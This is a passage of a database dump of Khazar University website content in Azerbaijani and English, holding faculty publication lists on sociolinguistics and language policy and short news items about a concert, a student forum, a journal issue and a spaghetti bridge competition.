&nbsp;<p>&nbsp;</p>&nbsp; &nbsp;Dil Siyasəti və Davamlı İnkişaf. Elmi Xəbərlər. 2004/5. Azərbaycan Dillər Universiteti. Bakı 2004, s. 296-303&nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;Dil Siyasəti və Dil Quruculuğunun Obyekti, Subyekti və Mərhələləri. Elmi Xəbərlər. Azərbaycan Dillər Universiteti. 2006, #5, s. 19-25. &nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;Language Policy and Linguistic Behavior in Post-Soviet Azerbaijan. The Fourteenth Annual Central Eurasian Studies Conference. Abstracts of Papares. March 31-April 1. 2007. Indiana University. Bloomington. 2007. p.33.&nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;Europäische Personennamensysteme. Ein Handbuch for Abasisich bis Zentralladinish. Herausgegeben von Andrea Brendler and Silvio Brendler. Baar-Verlag, 2007. &nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;Dil Siyasəti ilə bağlı Tədqiqatlarda Prioritet Meyllər. Elmi Xəbərlər. Azərbaycan Dillər Universiteti. 2007, #7, s. 13-21&nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;Magistratura pilləsi üçün “Sosial Dilçilik” fənni üzrə proqram. Bakı 2007.&nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;Teaching Foriegn Languages in Post-Soviet Azerbaijan: Goals and Challenges: Proceedings of 2007 Asian Pacific Summit Forum on Foriegn Language Education. Hankuk University of Foreign Studies, October 18-19, 2007. Seoul. &nbsp;2007&nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;Təhsilin İnteqrasiyasının Yeni Meyllərindən Faydalanma İmkanları. Azərbayycan qəzeti. 1 fevral, 2008, #23. s. 7. &nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;J. Qəribova, M. Əsgərova. Azərbaycan Respublikasında dövlət dili siyasətinin qanunvericilik əsasları. Elmi xəbərlər. Azərbaycan Dillər Universiteti. 2008, #2, s. 27-39 &nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;J. Qəribova, M. Əsgərova. Zakonodatelnaya Podderzhka Yazikov Menshinstv v Azerbaydjabskoy Respublike. Dirçəliş XXI Əsr. Azərbaycan Dövlət Quruculuğu və Beynəlxlaq Münasibətlər İnstitutu. Bakı, İyun-İyul, #124-125 2008. s. 252-264&nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;J. Garibova. Academic Quality Assurance in Azerbaijan’s Higher Education: Implementation Challenges. Azərbaycan Məktəbi. # 4, 2008, s. 19-29&nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;J. Garibova. Language Policy and Political Discourse in Post-Soviet Countries: Verbal Communication Techniques. Technical University of Georgia. Georgian Academy of Educational Sciences. Tbilisi. 2008. s. 338-342.&nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;J. Garibova. From Identity to Integrity:&nbsp; the Role of Language in Nation-Building. Приложение к журналу «Вестник» Академии Образовательных Наук Грузии. №13, Тбилиси, 2008. s. 35-41&nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;Jala Garibova, Kenneth Zuercher. Ön söz. An Overview of Sociolinguistic Issues in Azerbaijan. International Journal of the Sociology of Language. Issue 198. July 2009. Mouton De Gruyter. Berlin. (p. 1-6)&nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;Jala Garibova. Language Policy in Post-Soviet Azerbaijan: Political Aspects. International Journal of the Sociology of Language. Issue 198. July 2009. Mouton De Gruyter. Berlin. (p. 7-32)&nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;Jala Garibova. The development of language and ethnicity in Azerbaijan: a Book Review (Müasir Azәrbaycanda Etno-Dil Proseslәri [Ethno-language processes in contemporary Azerbaijan], by Afaq Rüstәmova). International Journal of the Sociology of Language. Issue 198. July 2009. Mouton De Gruyter. Berlin. (p. 129-134)&nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;Jala Garibova and Matanat Asgarova. Langauge Policy and Legislation in Post-Soviet Azerbaijan. Langauge Ppolicy and Langauge Planning. 33:3. 2009. John Benjamins Publishing Company. (p. 191-217)&nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;Jalə Qəribova. Dil Siyasətində Dil Müxtəlifliyinin Qorunması Prinsipi. Mədəniyyətlərarası Dialoq: Linqvistik, Pedaqoji və Ədəbi Aspektlər. Beynəlxalq Elmi Konfransın Materialları (25-27 noyabr 2010-cu il). Bakı, Azərbaycan Dillər Universiteti 2010 (s. 30-31)&nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;Jale Garibova. Türk Dilleri Birleşiminin Oluşumu ve Yeniden Doğuşu: İki Çağın Altın Rüyası. Hacettepe Üniversitesi. Türkiyat Araştırmaları Enstitüsü. Türk Dil Kurumu. Orhon Yazıtlarının Bulunuşundan 120 Yıl Sonra Türklük Bilimi ve 21. Yüzyıl Konulu III Uluslararası Türkiyat Araştırmaları Sempozyumu. 26-29 Mayıs 2010. Bildiriler Kitabı. 1. Cilt. Ankara 2011. (ss. 373-384). &nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;Jala Garibova. Transition Societies and Comprehension of New Concepts: Challenges for Terminology Corpus Building. Scolia 25. 2011. Universite de Strasbourg. (pp. 207-221). &nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;Jala Garibova.: Cultural Autonomy: the Perceived vs. Realistic Scope: International Journal of the Sociology of Language. Spcial Issue (Cultural Autonomy and Fishmanian Sociolinguistics). Issue 213. 2012. Mouton De Gruyter. Berlin. (p. 105-111)&nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;Jalə Qəribova. Corc K. Zipfin “Ən Az Səy” Prinsipi və Dildə Tənəzzül Tendensiyaları: Ali Təhsil və Cəmiyyət. #1. 2012. ss. 80-85&nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;Dil Politikası ilə İlgili İncelemelerde Önceliklik Eğilimler. Tehlikedeki Diller Dergisi. Cilt 2, Sayı 2 (2013).&nbsp;<a href=\"http://dergi.tehlikedekidiller.com/index.php/TDD/article/view/98\">http://dergi.tehlikedekidiller.com/index.php/TDD/article/view/98</a>&nbsp; &nbsp;<p>&nbsp;</p><p>Book Chapters:</p><p>&nbsp;</p>&nbsp; &nbsp;William Fierman and Jala Garibova<em>. Central Asia and Azerbaijan</em>. Handbook of Language and Ethnic Identity. Oxford University Press. 2010. (p. 423 – 451)&nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;Jala Garibova.&nbsp;<em>A Pan-Turkic Dream: Language Unification of Turks</em>. In Joshua A. Fishman and Ofelia García, eds. Handbook of Language and Ethnic Identity. Oxford: Oxford University Press. 2011. (pp. 268-281) &nbsp; &nbsp;<p>&nbsp;</p><p>&nbsp;</p><p>Books:</p><p>&nbsp;</p>&nbsp; &nbsp;Jalə Qəribova, Səbinə Əliyeva.&nbsp;<em>Azərbaycan Dili. Başlanğıc Səviyyə. (Əcnəbilər üçün dərslik) 2012. (Azerbaijani Language for Foreigners (Elementary Level)</em>&nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;Jale Garibova.&nbsp;<em>Sovyet Sonrası Dönemde</em>&nbsp;Türk Dilli Halklar,&nbsp;<em>Dil Sorunu</em>, Yeniden Biçimlenen Kimlikler (IV cilt. 302 səhifə) (Turkic Peoples in the Post-Soviet Period: The Language Issue and Newly Formed Identities) : Avrasya\'da Yeniden Çizilen Sınırlar, İnşa Edilen Kimlikler ve Türkiye. Ankara. Atatrük Kültür Mərkəzi. 2012 &nbsp;  <br></div><div><br></div>'),(1627,1007,'en','Calvin Tiessen','Calvin Tiessen','<div><br></div><div><table cellspacing=\"5\" cellpadding=\"5\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><tbody><tr><td><h4><br></h4><h4><a href=\"http://www.khazar.org/files/Calvin_Tiessen_CV.doc\" style=\"color:#000000\">Calvin Tiessen</a></h4><p>&nbsp;</p></td></tr><tr><td><p>&nbsp;</p><p>\"Ishkashimi: a father\'s language: how a very small language survives.\" In&nbsp;<em>Studies in languages of Tajikistan</em>, John M. Clifton (ed.), Dushanbe, Tajikistan and St. Petersburg, Russia: National State University of Tajikistan and North Eurasia Group, SIL International, 2005</p><p>&nbsp;</p><p>\"The ethnolinguistic vitality of Yaghnobi.\" in&nbsp;<em>Studies in languages of Tajikistan</em>, John M. Clifton (ed.), Dushanbe, Tajikistan and St. Petersburg, Russia: National State University of Tajikistan and North Eurasia Group, SIL International, 2005</p><p>&nbsp;</p><p>\"Language in community-oriented and contact-oriented domains: the case of the Shughni of Tajikistan.\"&nbsp;.\" in&nbsp;<em>Studies in languages of Tajikistan</em>, John M. Clifton (ed.), Dushanbe, Tajikistan and St. Petersburg, Russia: National State University of Tajikistan and North Eurasia Group, SIL International, 2005</p><p>&nbsp;</p><p>\"Language access and Tajik language proficiency among the Yazghulami of Tajikistan.\" .\" in&nbsp;<em>Studies in languages of Tajikistan</em>, John M. Clifton (ed.), Dushanbe, Tajikistan and St. Petersburg, Russia: National State University of Tajikistan and North Eurasia Group, SIL International, 2005</p><p>&nbsp;</p><p>“Language maintenance among the Parya of Tajikistan.” .\" in&nbsp;<em>Studies in languages of Tajikistan</em>, John M. Clifton (ed.), Dushanbe, Tajikistan and St. Petersburg, Russia: National State University of Tajikistan and North Eurasia Group, SIL International, 2005</p><p>&nbsp;</p><p>“Positive Orientation Towards the Vernacular Among the Talysh of Sumgayit.” M.A. Thesis, University of North Dakota, 2003.</p><p>&nbsp;</p><p>\"The sociolinguistic situation of the Avar in Azerbaijan.\" in&nbsp;<em>Studies in languages of Azerbaijan</em>, &nbsp;John M. Clifton (ed.),&nbsp; 2 vols., Baku, Azerbaijan and St. Petersburg, Russia: Institute of International Relations, Academy of Sciences of Azerbaijan and North Eurasian Group, SIL International, 2003</p><p>&nbsp;</p><p>\"The sociolinguistic situation of the Inghiloi in Azerbaijan.\"in&nbsp;<em>Studies in languages of Azerbaijan</em>, &nbsp;John M. Clifton (ed.),&nbsp; 2 vols., Baku, Azerbaijan and St. Petersburg, Russia: Institute of International Relations, Academy of Sciences of Azerbaijan and North Eurasian Group, SIL International, 2003</p><p>&nbsp;</p><p>&nbsp;\"The sociolinguistic situation of the Talysh in Azerbaijan.\" in&nbsp;<em>Studies in languages of Azerbaijan</em>, &nbsp;John M. Clifton (ed.),&nbsp; 2 vols., Baku, Azerbaijan and St. Petersburg, Russia: Institute of International Relations, Academy of Sciences of Azerbaijan and North Eurasian Group, SIL International, 2003</p><p>&nbsp;</p><p>&nbsp;\"The sociolinguistic situation of the Tat and Mountain Jews.in Azerbaijan.\" in&nbsp;<em>Studies in languages of Azerbaijan</em>, &nbsp;John M. Clifton (ed.),&nbsp; 2 vols., Baku, Azerbaijan and St. Petersburg, Russia: Institute of International Relations, Academy of Sciences of Azerbaijan and North Eurasian Group, SIL International, 2003</p><p>&nbsp;</p><p>&nbsp;\"The sociolinguistic situation of the Tsakhur in Azerbaijan.\" in&nbsp;<em>Studies in languages of Azerbaijan</em>, &nbsp;John M. Clifton (ed.),&nbsp; 2 vols., Baku, Azerbaijan and St. Petersburg, Russia: Institute of International Relations, Academy of Sciences of Azerbaijan and North Eurasian Group, SIL International, 2003</p><p>&nbsp;</p><p>\"The sociolinguistic situation of the Budukh in Azerbaijan.\" in&nbsp;<em>Studies in languages of Azerbaijan</em>, &nbsp;John M. Clifton (ed.),&nbsp; 2 vols., Baku, Azerbaijan and St. Petersburg, Russia: Institute of International Relations, Academy of Sciences of Azerbaijan and North Eurasian Group, SIL International, 2003</p><p>&nbsp;</p><p>&nbsp;\"The sociolinguistic situation of the Khinalug in Azerbaijan.\" in&nbsp;<em>Studies in languages of Azerbaijan</em>, &nbsp;John M. Clifton (ed.),&nbsp; 2 vols., Baku, Azerbaijan and St. Petersburg, Russia: Institute of International Relations, Academy of Sciences of Azerbaijan and North Eurasian Group, SIL International, 2003</p><p>&nbsp;</p><p>&nbsp;\"The sociolinguistic situation of the Kryz in Azerbaijan.\" in&nbsp;<em>Studies in languages of Azerbaijan</em>, &nbsp;John M. Clifton (ed.),&nbsp; 2 vols., Baku, Azerbaijan and St. Petersburg, Russia: Institute of International Relations, Academy of Sciences of Azerbaijan and North Eurasian Group, SIL International, 2003</p><p>&nbsp;</p><p>\"The sociolinguistic situation of the Lezgi in Azerbaijan.\" in&nbsp;<em>Studies in languages of Azerbaijan</em>, &nbsp;John M. Clifton (ed.),&nbsp; 2 vols., Baku, Azerbaijan and St. Petersburg, Russia: Institute of International Relations, Academy of Sciences of Azerbaijan and North Eurasian Group, SIL International, 2003</p></td></tr></tbody></table>  <br></div>'),(1628,1007,'az','Calvin Tiessen','Calvin Tiessen','<div><br></div><div><table cellspacing=\"5\" cellpadding=\"5\"><tbody><tr><td><h4><br></h4><h4><a href=\"http://www.khazar.org/files/Calvin_Tiessen_CV.doc\" style=\"color:#000000\">Calvin Tiessen</a></h4><p>&nbsp;</p></td></tr><tr><td><p>&nbsp;</p><p>\"Ishkashimi: a father\'s language: how a very small language survives.\" In&nbsp;<em>Studies in languages of Tajikistan</em>, John M. Clifton (ed.), Dushanbe, Tajikistan and St. Petersburg, Russia: National State University of Tajikistan and North Eurasia Group, SIL International, 2005</p><p>&nbsp;</p><p>\"The ethnolinguistic vitality of Yaghnobi.\" in&nbsp;<em>Studies in languages of Tajikistan</em>, John M. Clifton (ed.), Dushanbe, Tajikistan and St. Petersburg, Russia: National State University of Tajikistan and North Eurasia Group, SIL International, 2005</p><p>&nbsp;</p><p>\"Language in community-oriented and contact-oriented domains: the case of the Shughni of Tajikistan.\"&nbsp;.\" in&nbsp;<em>Studies in languages of Tajikistan</em>, John M. Clifton (ed.), Dushanbe, Tajikistan and St. Petersburg, Russia: National State University of Tajikistan and North Eurasia Group, SIL International, 2005</p><p>&nbsp;</p><p>\"Language access and Tajik language proficiency among the Yazghulami of Tajikistan.\" .\" in&nbsp;<em>Studies in languages of Tajikistan</em>, John M. Clifton (ed.), Dushanbe, Tajikistan and St. Petersburg, Russia: National State University of Tajikistan and North Eurasia Group, SIL International, 2005</p><p>&nbsp;</p><p>“Language maintenance among the Parya of Tajikistan.” .\" in&nbsp;<em>Studies in languages of Tajikistan</em>, John M. Clifton (ed.), Dushanbe, Tajikistan and St. Petersburg, Russia: National State University of Tajikistan and North Eurasia Group, SIL International, 2005</p><p>&nbsp;</p><p>“Positive Orientation Towards the Vernacular Among the Talysh of Sumgayit.” M.A. Thesis, University of North Dakota, 2003.</p><p>&nbsp;</p><p>\"The sociolinguistic situation of the Avar in Azerbaijan.\" in&nbsp;<em>Studies in languages of Azerbaijan</em>, &nbsp;John M. Clifton (ed.),&nbsp; 2 vols., Baku, Azerbaijan and St. Petersburg, Russia: Institute of International Relations, Academy of Sciences of Azerbaijan and North Eurasian Group, SIL International, 2003</p><p>&nbsp;</p><p>\"The sociolinguistic situation of the Inghiloi in Azerbaijan.\"in&nbsp;<em>Studies in languages of Azerbaijan</em>, &nbsp;John M. Clifton (ed.),&nbsp; 2 vols., Baku, Azerbaijan and St. Petersburg, Russia: Institute of International Relations, Academy of Sciences of Azerbaijan and North Eurasian Group, SIL International, 2003</p><p>&nbsp;</p><p>&nbsp;\"The sociolinguistic situation of the Talysh in Azerbaijan.\" in&nbsp;<em>Studies in languages of Azerbaijan</em>, &nbsp;John M. Clifton (ed.),&nbsp; 2 vols., Baku, Azerbaijan and St. Petersburg, Russia: Institute of International Relations, Academy of Sciences of Azerbaijan and North Eurasian Group, SIL International, 2003</p><p>&nbsp;</p><p>&nbsp;\"The sociolinguistic situation of the Tat and Mountain Jews.in Azerbaijan.\" in&nbsp;<em>Studies in languages of Azerbaijan</em>, &nbsp;John M. Clifton (ed.),&nbsp; 2 vols., Baku, Azerbaijan and St. Petersburg, Russia: Institute of International Relations, Academy of Sciences of Azerbaijan and North Eurasian Group, SIL International, 2003</p><p>&nbsp;</p><p>&nbsp;\"The sociolinguistic situation of the Tsakhur in Azerbaijan.\" in&nbsp;<em>Studies in languages of Azerbaijan</em>, &nbsp;John M. Clifton (ed.),&nbsp; 2 vols., Baku, Azerbaijan and St. Petersburg, Russia: Institute of International Relations, Academy of Sciences of Azerbaijan and North Eurasian Group, SIL International, 2003</p><p>&nbsp;</p><p>\"The sociolinguistic situation of the Budukh in Azerbaijan.\" in&nbsp;<em>Studies in languages of Azerbaijan</em>, &nbsp;John M. Clifton (ed.),&nbsp; 2 vols., Baku, Azerbaijan and St. Petersburg, Russia: Institute of International Relations, Academy of Sciences of Azerbaijan and North Eurasian Group, SIL International, 2003</p><p>&nbsp;</p><p>&nbsp;\"The sociolinguistic situation of the Khinalug in Azerbaijan.\" in&nbsp;<em>Studies in languages of Azerbaijan</em>, &nbsp;John M. Clifton (ed.),&nbsp; 2 vols., Baku, Azerbaijan and St. Petersburg, Russia: Institute of International Relations, Academy of Sciences of Azerbaijan and North Eurasian Group, SIL International, 2003</p><p>&nbsp;</p><p>&nbsp;\"The sociolinguistic situation of the Kryz in Azerbaijan.\" in&nbsp;<em>Studies in languages of Azerbaijan</em>, &nbsp;John M. Clifton (ed.),&nbsp; 2 vols., Baku, Azerbaijan and St. Petersburg, Russia: Institute of International Relations, Academy of Sciences of Azerbaijan and North Eurasian Group, SIL International, 2003</p><p>&nbsp;</p><p>\"The sociolinguistic situation of the Lezgi in Azerbaijan.\" in&nbsp;<em>Studies in languages of Azerbaijan</em>, &nbsp;John M. Clifton (ed.),&nbsp; 2 vols., Baku, Azerbaijan and St. Petersburg, Russia: Institute of International Relations, Academy of Sciences of Azerbaijan and North Eurasian Group, SIL International, 2003</p></td></tr></tbody></table>  <br></div>'),(1629,1008,'az','“Xəzər”in Kamera orkestinin musiqi kollecində konserti','Aprelin 25-də  Xəzər Universiteti Kamera orkestrinin Asəf Zeynallı adına Musiqi Kollecində geniş konserti oldu. Konsert universitetin  25 illiyinə həsr olunmuşdu. Konsertdə universitetin və  kollecin rəhbərliyi, kollecin müəllim və tələbələri iştirak edirdilər.','<p>Aprelin 25-də&nbsp; Xəzər Universiteti Kamera\r\norkestrinin Asəf Zeynallı adına Musiqi Kollecində geniş konserti oldu. Konsert\r\nuniversitetin&nbsp; 25 illiyinə həsr olunmuşdu. Konsertdə universitetin və&nbsp;\r\nkollecin rəhbərliyi, kollecin müəllim və tələbələri iştirak edirdilər.</p>\r\n<p>Kollecin direktoru Nazim Kazımov tədbiri açaraq,\r\nqonaqları təqdim etdi. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı universitetin mədəniyyət və incəsənət\r\nsahəsindəki fəaliyyəti haqqında iştirakçılara geniş məlumat verdi.</p>\r\n<p>Kamera orkestrinin ifasında Avropa və Azərbaycan bəstəkarlarının\r\nəsərləri səsləndi. Solist Xəzər Universitetinin&nbsp; magistr tələbəsi Elçin\r\nFeyzullayev idi.</p>\r\n<p>Konsertdə Xəzər Universitetinin İctimai əlaqələr və\r\nmedia üzrə direktoru Əlövsət Əmirbəyli iştirak edirdi.</p>\r\n<p>Sonda N. Kazımov konsertə görə Xəzər\r\nUniversitetinin rəhbərliyinə, universitetin Musiqi və incəsənət departamentinə,\r\norkestrin üzvlərinə təşəkkürünü bildirdi və universitetə hədiyyə təqdim etdi.</p>\r\n<p>Kamera orkestrinin universitetin 25 illiyinə həsr\r\nolunan silsilə konsertləri davam edəcək. &nbsp;</p>'),(1630,1008,'en','Khazar Chamber Orchestra Gives Concert in College of Music','On April 25, Khazar University Chamber Orchestra performed a concert in Asef Zeynalli College of Music. The concert was dedicated to the university’s 25th anniversary. Audience members included administrators of the university and college as well as instructors and students of the college.','<p>On April 25, Khazar University Chamber Orchestra\r\nperformed a concert in Asef Zeynalli College of Music. The concert was\r\ndedicated to the university’s 25th anniversary. Audience members included\r\nadministrators of the university and college as well as instructors and\r\nstudents of the college. </p>\r\n<p>Nazim Kazimov, Director of the College, opened the\r\nevent and introduced the guests. Then Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of\r\nits Board of Directors and Trustees, spoke in detail about\r\nthe university’s activities in the fields of culture and fine arts. </p>\r\n<p>The\r\nChamber Orchestra performed songs by European and Azerbaijani composers. The\r\nsoloist was Elchin Feyzullayev, master student at Khazar University. </p>\r\n<p>Alovsat Amirbeyli, Khazar University Director for Public Relations and Media, also\r\nparticipated in the event.</p>\r\n<p>At\r\nthe end of the performance, N. Kazimov thanked the Khazar University\r\nadministration, Department of Music and Fine Arts, and orchestra members for\r\ntheir participation. He presented a gift to the university. </p>\r\n<p>The\r\nChamber Orchestra will continue to play concerts dedicated to the University’s\r\n25<sup>th</sup> anniversary. </p>\r\n<p>&nbsp;</p>'),(1646,1016,'en','1st National Students Forum','1st National Students Forum','<div><br></div><p style=\"text-align:center\"><strong style=\"font-style:normal\">1st National Forum of</strong></p><p style=\"text-align:center\"><strong style=\"font-style:normal\"></strong><strong style=\"font-style:normal\">Students majoring in Humanities and Social Sciences</strong></p><p style=\"text-align:center\"><strong style=\"font-style:normal\"></strong><strong style=\"font-style:normal\">Devoted to the “Restoration of Independence and 25th anniversary of Khazar University”&nbsp;</strong></p><p style=\"text-align:center\"><strong style=\"font-style:normal\"></strong><strong style=\"font-style:normal\">October 18, 2016&nbsp;</strong></p><p style=\"text-align:center\"><strong style=\"font-style:normal\"></strong><strong style=\"font-style:normal\">“Republican, Soviet and Independent periods in Azerbaijan and our future”</strong></p><p style=\"text-align:center\"><strong style=\"font-style:normal;text-align:center\"></strong><strong style=\"text-align:center\"><span style=\"font-style:normal\">(Social, economic, public, scientific and cultural review)</span></strong></p>\r\n<p>Aim: The aim of the Forum is to improve academic writing skills of Azerbaijani youth majoring in humanities and social sciences, to develop their interest in scientific research, and to improve their abilities related to performing research and presenting their results.</p><p>Topics: Short scientific research works in the following topics are applicable:</p><p>The present situation and development of social, economic, public, educational, linguistic, literary, and cultural areas during Republican, Soviet and Independent periods of Azerbaijan, and reforms implemented in related areas.</p><p>Participation conditions: Third and fourth year undergraduates and graduate students can apply for the Forum. Those who want to participate should fill out an application form and submit a thesis according to the standards given below. The deadline for applications and theses is September 15, 2016.</p><p><strong>Contact us</strong>:&nbsp;<a href=\"mailto:telebeforumu@khazar.org\">telebeforumu@khazar.org</a></p><p><a href=\"mailto:telebeforumu@khazar.org\"></a><strong>Deadline for application</strong>: 15.09.2016&nbsp;</p><p><strong style=\"font-family:arial, helvetica, sans-serif\"><a href=\"http://www.khazar.org/files/pdf/Registration%20Form%20az.doc\">Application form:</a></strong></p><p><strong style=\"font-family:arial, helvetica, sans-serif\"><a href=\"http://www.khazar.org/files/pdf/Registration%20Form%20az.doc\"></a></strong><strong><a href=\"http://www.khazar.org/files/pdf/thesis%20standarts.docx\">Thesis standards:</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/thesis%20standarts.docx\"></a></strong><strong style=\"font-family:arial, helvetica, sans-serif\">Date of the Forum:</strong><span style=\"font-family:arial, helvetica, sans-serif\">&nbsp;October&nbsp;18, 2016</span></p><p><span style=\"font-family:arial, helvetica, sans-serif\"></span><strong>Place:</strong>&nbsp;Neftchilar Campus, Khazar University&nbsp;</p>'),(1647,1016,'az','Birinci tələbə forumu','Birinci tələbə forumu','<p style=\"text-align:center\"><strong style=\"text-align:center\">Müstəqilliyimizin bərpasının&nbsp;</strong><strong style=\"text-align:center\">və</strong><p\"></p\"></p><p style=\"text-align:center\"><strong>Xəzər Universitetinin quruluşunun</strong></p><p style=\"text-align:center\"><strong>25-ci ildönümü münasibətilə</strong></p><p style=\"text-align:center\"><strong>Sosial və Humanitar Sahələr Üzrə Təhsil Alan Tələbələrin</strong></p><p style=\"text-align:center\"><strong>Birinci Milli Forumu</strong></p><p style=\"text-align:center\"><strong>18 Oktyabr&nbsp;&nbsp;2016</strong></p><p style=\"text-align:center\"><strong>&nbsp;</strong><strong style=\"text-align:center\">“Azərbaycanda Cumhuriyyət, Sovet, Müstəqillik dövrləri və Gələcəyimiz”</strong></p><p style=\"text-align:center\"><strong>(Siyasi, iqtisadi, ictimai, elmi və mədəni&nbsp; baxış)</strong></p><p style=\"text-align:left\"><strong style=\"text-align:left\">Məqsəd:</strong><span style=\"text-align:left\">&nbsp;Forumun məqsədi sosial və humanitar sahələr üzrə təhsil alan Azərbaycanlı gənclərin tədqiqatçılıq və akademik yazı hazırlama bacarıqlarını inkişaf etdirmək, gənçlərdə elmi tədqiqata maraq yaratmaq,&nbsp; araşdırma aparmaq və araşdırmanın nəticələrini təqdim etmək qabiliyyətlərini artırmaqdır.</span><strong style=\"text-align:left\">&nbsp;</strong></p><p style=\"text-align:left\"><strong style=\"text-align:left\">Mövzular:&nbsp;</strong><span style=\"text-align:left\">Foruma Azərbaycanda Cumhuriyyət, Sovet, Müstəqillik dövrlərinə dair &nbsp;siyasi, iqtisadi, ictimai, təhsil, dil və ədəbiyyat, mədəniyyət sahələrinin vəziyyəti, inkişafı və qeyd olunan sahələrdə aparılan islahatlar haqqında kiçik elmi tədqiqatlarla müraciət etmək olar</span><strong style=\"text-align:left\">. &nbsp;</strong></p><p style=\"text-align:left\"><strong style=\"text-align:left\">İştirak şərtləri:&nbsp;</strong><span style=\"text-align:left\">Forumda iştirak etmək üçün bakalavr pilləsində təhsil alan 3-cü və 4-cü kurs tələbələri və magistratura pilləsində təhsil alan tələbələr müraciət edə bilərlər. Konqresdə iştirak etmək istəyən tələbələr müraciət formasını və aşağıda qeyd olunan standartlar əsasında tərtib edilən tezisi 15 sentyabr&nbsp;2016-cı il tarixə qədər qeyd olunan ünvana göndərməlidir.</span></p><p style=\"text-align:left\"><strong>Müraciət üçün ünvan</strong>:&nbsp;<a href=\"mailto:telebeforumu@khazar.org\">telebeforumu@khazar.org</a></p><p style=\"text-align:left\"><strong>Müraciət üçün son tarix</strong>: 15.09.2016</p><p style=\"text-align:left\"><a href=\"http://www.khazar.org/files/pdf/M%C3%BCraci%C9%99t%20Formas%C4%B1.docx\"><strong>Müraciət forması:&nbsp;</strong>(endirmək üçün keçid)</a></p><p style=\"text-align:left\"><a href=\"http://www.khazar.org/files/pdf/thesis%20standarts.docx\"><strong>Tezis yazma standartları:</strong>&nbsp;(endirmək üçün keçid)</a></p><p style=\"text-align:left\"><strong>Tədbirin tarixi</strong>:&nbsp;<strong><strong>18 oktyabr&nbsp;</strong>2016-cı il</strong></p><p style=\"text-align:left\"><strong>Tədbirin yeri</strong>:&nbsp;<strong>Xəzər Universiteti</strong>,&nbsp;<strong>Neftçilər Kampusu</strong></p>'),(1648,1017,'az','“Xəzər Xəbər”  jurnalının mart nömrəsi çapdan çıxıb','“Xəzər Xəbər” jurnalının 2016 - cı il  mart nömrəsi (349-cu nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır.','<p>“Xəzər Xəbər” jurnalının 2016 - cı il&nbsp; mart nömrəsi (349-cu nömrə)\r\nXəzər Universitetinin mətbəəsində çapdan çıxmışdır. Jurnalı bu linkdə də oxuya\r\nbilərsiniz: <a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(1649,1017,'en','March Issue of Khazar Review Journal Printed','The March 2016 issue (number 349) of Khazar Review has been printed by Khazar University Press.','<p>The March 2016 issue (number 349) of\r\nKhazar Review has been printed by Khazar University Press. The full journal may\r\nbe read at this link:&nbsp; <a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(1650,1018,'az','Universitetlərarası “Spagetti körpü” müsabiqəsi keçiriləcək','2016-cıil mayın 4-də saat 14:00-da Xəzər Universitetinin “Mərmər” zalında universitetlərarası “Spagetti körpü” müsabiqəsi keçiriləcək.','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2016-cıil mayın\r\n4-də saat 14:00-da Xəzər Universitetinin “Mərmər” zalında universitetlərarası\r\n“Spagetti körpü” müsabiqəsi keçiriləcək.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Arzu edənlər tədbirdə iştirak edə\r\nbilərlər.&nbsp;</p>'),(1651,1018,'en','National Spaghetti Bridge Competition to be Held','On May 4, 2016 at 14:00, the annual National Spaghetti Bridge Competition will be held in Khazar University\'s Marble Hall. ','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">On May 4, 2016 at 14:00, the annual\r\nNational Spaghetti Bridge Competition will be held in Khazar University\'s\r\nMarble Hall.&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">All who are interested are welcome\r\nto attend.</p>\r\n<p>&nbsp;</p>'),(1652,1019,'az','Xəzər Universitetinin “Imagine” komandası P2P: Ekstremizmə qarşı Mübarizə Proqramında iştirak edir','2016-cı il aprelin 26-da Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin tələbələrindən ibarət “Imagine” komandası P2P: Ekstremizmə qarşı Mübarizə Proqramında iştiraklarının bir hissəsi kimi üzərində çalışdıqları marketinq kampaniyası çərçivəsində nəzərdə tutulan tədbirlər silsiləsindən ilk tədbirlərini keçirdilər. Bu proqram ABŞ Dövlət Departamentinin Təhsil və Mədəniyyət Məsələləri Bürosu tərəfindən dəstəklənir və EdVenture Partners marketinq şirkəti tərəfindən maliyyələşdirilir.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il aprelin 26-da 